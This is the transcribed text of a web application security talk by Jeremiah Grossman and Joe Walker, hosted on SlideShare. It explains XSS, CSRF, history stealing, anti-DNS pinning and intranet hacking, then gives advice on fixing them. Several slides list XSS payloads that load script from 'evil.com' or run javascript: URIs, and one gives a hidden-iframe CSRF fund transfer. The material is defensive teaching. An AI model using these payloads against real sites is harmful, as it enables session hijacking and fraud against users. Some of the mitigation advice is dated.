SlideShare a Scribd company logo

Rich Web App Security - Keeping your application safe

•
•
Jeremiah Grossman
Jeremiah Grossman

The document discusses securing web applications from common vulnerabilities like cross-site scripting (XSS) and cross-site request forgery (CSRF). It outlines various techniques attackers use to exploit these issues, such as injecting malicious scripts into user input or forging unauthorized requests. The document then provides recommendations for developers to prevent these attacks, such as carefully validating and encoding all user input, and authenticating that requests are intended by the user.

1 of 38
Download to read offline
Rich Web App Security Keeping your application safe Jeremiah Grossman Joe Walker Founder and CTO DWR Developer WhiteHat Security Getahead 1
5 Stages of Web Application Security Grief Denial Anger Bargaining Depression Acceptance 2
Network security solutions don't work for web application security Telnet FTP POP App Servers http(s) Web Servers Database 3
8 out of 10 Websites are Vulnerable 4
The Victims The companies that host the Applications The users that use the Applications 5
Building Blocks: XSS XSS = Cross Site Scripting You are at risk of an XSS attack any time you allow scripts from someone untrusted into pages from your domain 6
Building Blocks: XSS You let the user enter their name Someone is going to enter their name like this: Joe<script src="evil.com/danger.js"> Then, whoever looks at Joe’s name will execute Joe’s script and become a slave of Joe 7
Making User Input Safe You filter out ‘<script.*>’ and then you’re safe. Right? 8
Making User Input Safe Actually you also need to filter: <a href='javascript:danger();'> <body onload='danger();'> <p style='background-image: url("javascript:danger();")'); <img src='javascript:danger()'/> 9
Making User Input Safe And don’t forget: <body background="javascript:danger()"> <link rel="stylesheet" href="javascript:danger()"/> <style>@import evil.com/danger.js</style> <input type='image' src='javascript:danger()'/> 10
Making User Input Safe And then there’s: <iframe src='evil.com/danger.html'/> <meta http-equiv="refresh" content="0;url=javascript:danger()"> <base href="javascript:danger()"> <frameset> <frame src="javascript:danger()">... 11
Making User Input Safe But remember: <table background="javascript:danger()"> <tr background="javascript:danger()"> <div style="width:expression(danger();)"> <object type="text/x-scriptlet" data="evil.com/danger.js"> 12
5 Stages of Web Application Security Grief Denial Anger Bargaining Depression Acceptance 13
Making User Input Safe It’s made 1000 times worse by browsers being able to make sense of virtually anything. This: <a href="a.html" link</a> makes perfect sense to a browser. 14
Making User Input Safe It’s made 1000 times worse by browsers being able to make sense of virtually anything. This: <a href="a.html">link makes perfect sense to a browser. 15
Making User Input Safe It’s made 1000 times worse by browsers being able to make sense of virtually anything. This: <a href="a.html >link</a> makes perfect sense to a browser. 16
Making User Input Safe It’s made 1000 times worse by browsers being able to make sense of virtually anything. This: (depending on some encoding tricks) ¼a href="a.html"¾link¼/a¾ makes perfect sense to a browser. 17
Making User Input Safe And we haven’t got into: • Flash (ActionScript ~= JavaScript) • SVG (can embed JavaScript) • .htc (packaged HTML in IE) • XML Data Islands (IE only) • HTML+TIME You can use both <object> and <embed> for many of these 18
5 Stages of Web Application Security Grief Denial Anger Bargaining Depression Acceptance 19
Building Blocks: CSRF CSRF = Cross Site Request Forgery You are at risk of a CSRF attack whenever you assume that a request containing an authentication header (e.g. cookies) is something the user intended 20
Building Blocks: CSRF bank.com evil.com . Welcome Fred, Thank-you for logging in <iframe width=0 height=0 src="http://bank.com/transfer.cgi?amnt=all&dest=MrEvil"/> 21
Building Blocks: CSRF JavaScript is not always required to exploit a CSRF hole Often all you need is: <iframe src="dangerous_url"> or <img src="dangerous_url"/> or <script src="dangerous_url"> You can’t use XHR because cross-domain rules prevent the request from being sent 22
Attacks only get more Effective 70 new new attack techniques in 2006 Many are small, but they combine in worrying ways Jeremiah’s Top 10: http://jeremiahgrossman.blogspot.com/2006/12/ top-10-web-hacks-of-2006.html The 6 most important ... 23
6. Hacking RSS Readers } ⇢ Aggregators generally Users get RSS Feeds change the domain the result Hacking RSS and Atom Feed Implementations http://www.cgisecurity.com/papers/HackingFeeds.pdf 24
5. Web Worms If your site that isn’t 100% safe against XSS and CSRF, users can attack their ‘friends’ with scripts XHR/Flash/Quicktime can be used as a vector Web worms grow much faster than email worms So far, infections have been mostly benign, like how email worms were in the early 90’s ... http://www.whitehatsec.com/downloads/WHXSSThreats.pdf 25
4. Backdooring Media Files Many media types are scriptable by design: Some are ‘scriptable’ by buffer-overflow: If you are allowing users to upload files, be afraid. JavaScript Malware embedded in everything http://jeremiahgrossman.blogspot.com/2006/09/javascript-malware-embedded-in.html 26
3. History Stealing - Part 1 I want to know if you visit dodgy.com I create a page with a link and use a script to read the CSS link color: purple:guilty, blue:not guilty A page can quickly check thousands of sites http://ha.ckers.org/weird/CSS-history-hack.html 27
3. History Stealing - Part 2 Point a script tag at a protected HTML resource, detect differing replies by differing error messages <script src="http://mail.google.com/mail"> http://ha.ckers.org/weird/javascript-website-login-checker.html 28
2. Anti-DNS Pinning The basic attack: A browser visits evil.com. The DNS lookup gives the real web- server address. 1 second later evil.com creates an iframe to the evil.com and drops the HTTP request The DNS pin is dropped, the browser needs to look up DNS again. This time it gets someone else’s address. The browser reads from the other site, but thinks it is the same domain. 29
2. Anti-DNS Pinning As it is the attack isn’t very useful because: • The browser thinks the domain is evil.com, so cookies for innocent.com are not sent, cookie protected resources are safe (for now) • But it’s great for Intranet hacking - no cookies are needed to read from 192.168.0.1 or 127.0.0.1 30
1. Intranet Hacking History stealing to enumerate hosts inside the firewall Anti-DNS pinning to read HTML from inside Many routers / firewalls / etc have default passwords, which an attacker can exploit Use CSRF to alter router / firewall settings http://www.whitehatsec.com/home/resources/presentations/files/javascript_malware.pdf 31
5 Stages of Web Application Security Grief Denial Anger Bargaining Depression Acceptance 32
Fixing XSS (when HTML is Illegal) 1. Filter inputs by white-listing input characters Remember to filter header names and values 2. Filter outputs for the display environment For HTML: & &amp; < &lt; > &gt; ' &apos; " &quot; Other environments have other special chars 33
Fixing XSS (when HTML is Legal, and Well Formed) 1. Filter inputs as before 2. Swap characters for entities (as before) 3. Swap back whitelist of allowed tags. e.g.: &lt;strong&gt; <strong> 4. Take extra care over attributes: s/&lta href=&quot;([^&]*)&quot;/&gt;/<a href="$1"/> 5. Don’t use regular expressions 34
Fixing XSS (when HTML is Legal, and NOT Well Formed) 1. Find another way to do it / Swap jobs / Find some other solution to the problem 2. Create a tag soup parser to create a DOM tree from a badly formed HTML document Remember to recursively check encodings 3. Create a tree walker that removes all non approved elements and attributes 35
Fixing CSRF Force users to log off Checking referrer headers doesn’t make things safe, but it does slow attackers down Include authentication tokens in the body OWASP servlet filter Double-submit cookie pattern Security Corner: Cross-Site Request Forgeries http://shiflett.org/articles/cross-site-request-forgeries 36
5 Stages of Web Application Security Grief Denial Anger Bargaining Depression Acceptance 37
Questions? Joe Walker Jeremiah Grossman http://getahead.org/blog/joe http://www.whitehatsec.com/ 38

More Related Content

Rich Web App Security - Keeping your application safe

  • 1. Rich Web App Security Keeping your application safe Jeremiah Grossman Joe Walker Founder and CTO DWR Developer WhiteHat Security Getahead 1
  • 2. 5 Stages of Web Application Security Grief Denial Anger Bargaining Depression Acceptance 2
  • 3. Network security solutions don't work for web application security Telnet FTP POP App Servers http(s) Web Servers Database 3
  • 4. 8 out of 10 Websites are Vulnerable 4
  • 5. The Victims The companies that host the Applications The users that use the Applications 5
  • 6. Building Blocks: XSS XSS = Cross Site Scripting You are at risk of an XSS attack any time you allow scripts from someone untrusted into pages from your domain 6
  • 7. Building Blocks: XSS You let the user enter their name Someone is going to enter their name like this: Joe<script src="evil.com/danger.js"> Then, whoever looks at Joe’s name will execute Joe’s script and become a slave of Joe 7
  • 8. Making User Input Safe You filter out ‘<script.*>’ and then you’re safe. Right? 8
  • 9. Making User Input Safe Actually you also need to filter: <a href='javascript:danger();'> <body onload='danger();'> <p style='background-image: url("javascript:danger();")'); <img src='javascript:danger()'/> 9
  • 10. Making User Input Safe And don’t forget: <body background="javascript:danger()"> <link rel="stylesheet" href="javascript:danger()"/> <style>@import evil.com/danger.js</style> <input type='image' src='javascript:danger()'/> 10
  • 11. Making User Input Safe And then there’s: <iframe src='evil.com/danger.html'/> <meta http-equiv="refresh" content="0;url=javascript:danger()"> <base href="javascript:danger()"> <frameset> <frame src="javascript:danger()">... 11
  • 12. Making User Input Safe But remember: <table background="javascript:danger()"> <tr background="javascript:danger()"> <div style="width:expression(danger();)"> <object type="text/x-scriptlet" data="evil.com/danger.js"> 12
  • 13. 5 Stages of Web Application Security Grief Denial Anger Bargaining Depression Acceptance 13
  • 14. Making User Input Safe It’s made 1000 times worse by browsers being able to make sense of virtually anything. This: <a href="a.html" link</a> makes perfect sense to a browser. 14
  • 15. Making User Input Safe It’s made 1000 times worse by browsers being able to make sense of virtually anything. This: <a href="a.html">link makes perfect sense to a browser. 15
  • 16. Making User Input Safe It’s made 1000 times worse by browsers being able to make sense of virtually anything. This: <a href="a.html >link</a> makes perfect sense to a browser. 16
  • 17. Making User Input Safe It’s made 1000 times worse by browsers being able to make sense of virtually anything. This: (depending on some encoding tricks) ¼a href="a.html"¾link¼/a¾ makes perfect sense to a browser. 17
  • 18. Making User Input Safe And we haven’t got into: • Flash (ActionScript ~= JavaScript) • SVG (can embed JavaScript) • .htc (packaged HTML in IE) • XML Data Islands (IE only) • HTML+TIME You can use both <object> and <embed> for many of these 18
  • 19. 5 Stages of Web Application Security Grief Denial Anger Bargaining Depression Acceptance 19
  • 20. Building Blocks: CSRF CSRF = Cross Site Request Forgery You are at risk of a CSRF attack whenever you assume that a request containing an authentication header (e.g. cookies) is something the user intended 20
  • 21. Building Blocks: CSRF bank.com evil.com . Welcome Fred, Thank-you for logging in <iframe width=0 height=0 src="http://bank.com/transfer.cgi?amnt=all&dest=MrEvil"/> 21
  • 22. Building Blocks: CSRF JavaScript is not always required to exploit a CSRF hole Often all you need is: <iframe src="dangerous_url"> or <img src="dangerous_url"/> or <script src="dangerous_url"> You can’t use XHR because cross-domain rules prevent the request from being sent 22
  • 23. Attacks only get more Effective 70 new new attack techniques in 2006 Many are small, but they combine in worrying ways Jeremiah’s Top 10: http://jeremiahgrossman.blogspot.com/2006/12/ top-10-web-hacks-of-2006.html The 6 most important ... 23
  • 24. 6. Hacking RSS Readers } ⇢ Aggregators generally Users get RSS Feeds change the domain the result Hacking RSS and Atom Feed Implementations http://www.cgisecurity.com/papers/HackingFeeds.pdf 24
  • 25. 5. Web Worms If your site that isn’t 100% safe against XSS and CSRF, users can attack their ‘friends’ with scripts XHR/Flash/Quicktime can be used as a vector Web worms grow much faster than email worms So far, infections have been mostly benign, like how email worms were in the early 90’s ... http://www.whitehatsec.com/downloads/WHXSSThreats.pdf 25
  • 26. 4. Backdooring Media Files Many media types are scriptable by design: Some are ‘scriptable’ by buffer-overflow: If you are allowing users to upload files, be afraid. JavaScript Malware embedded in everything http://jeremiahgrossman.blogspot.com/2006/09/javascript-malware-embedded-in.html 26
  • 27. 3. History Stealing - Part 1 I want to know if you visit dodgy.com I create a page with a link and use a script to read the CSS link color: purple:guilty, blue:not guilty A page can quickly check thousands of sites http://ha.ckers.org/weird/CSS-history-hack.html 27
  • 28. 3. History Stealing - Part 2 Point a script tag at a protected HTML resource, detect differing replies by differing error messages <script src="http://mail.google.com/mail"> http://ha.ckers.org/weird/javascript-website-login-checker.html 28
  • 29. 2. Anti-DNS Pinning The basic attack: A browser visits evil.com. The DNS lookup gives the real web- server address. 1 second later evil.com creates an iframe to the evil.com and drops the HTTP request The DNS pin is dropped, the browser needs to look up DNS again. This time it gets someone else’s address. The browser reads from the other site, but thinks it is the same domain. 29
  • 30. 2. Anti-DNS Pinning As it is the attack isn’t very useful because: • The browser thinks the domain is evil.com, so cookies for innocent.com are not sent, cookie protected resources are safe (for now) • But it’s great for Intranet hacking - no cookies are needed to read from 192.168.0.1 or 127.0.0.1 30
  • 31. 1. Intranet Hacking History stealing to enumerate hosts inside the firewall Anti-DNS pinning to read HTML from inside Many routers / firewalls / etc have default passwords, which an attacker can exploit Use CSRF to alter router / firewall settings http://www.whitehatsec.com/home/resources/presentations/files/javascript_malware.pdf 31
  • 32. 5 Stages of Web Application Security Grief Denial Anger Bargaining Depression Acceptance 32
  • 33. Fixing XSS (when HTML is Illegal) 1. Filter inputs by white-listing input characters Remember to filter header names and values 2. Filter outputs for the display environment For HTML: & &amp; < &lt; > &gt; ' &apos; " &quot; Other environments have other special chars 33
  • 34. Fixing XSS (when HTML is Legal, and Well Formed) 1. Filter inputs as before 2. Swap characters for entities (as before) 3. Swap back whitelist of allowed tags. e.g.: &lt;strong&gt; <strong> 4. Take extra care over attributes: s/&lta href=&quot;([^&]*)&quot;/&gt;/<a href="$1"/> 5. Don’t use regular expressions 34
  • 35. Fixing XSS (when HTML is Legal, and NOT Well Formed) 1. Find another way to do it / Swap jobs / Find some other solution to the problem 2. Create a tag soup parser to create a DOM tree from a badly formed HTML document Remember to recursively check encodings 3. Create a tree walker that removes all non approved elements and attributes 35
  • 36. Fixing CSRF Force users to log off Checking referrer headers doesn’t make things safe, but it does slow attackers down Include authentication tokens in the body OWASP servlet filter Double-submit cookie pattern Security Corner: Cross-Site Request Forgeries http://shiflett.org/articles/cross-site-request-forgeries 36
  • 37. 5 Stages of Web Application Security Grief Denial Anger Bargaining Depression Acceptance 37
  • 38. Questions? Joe Walker Jeremiah Grossman http://getahead.org/blog/joe http://www.whitehatsec.com/ 38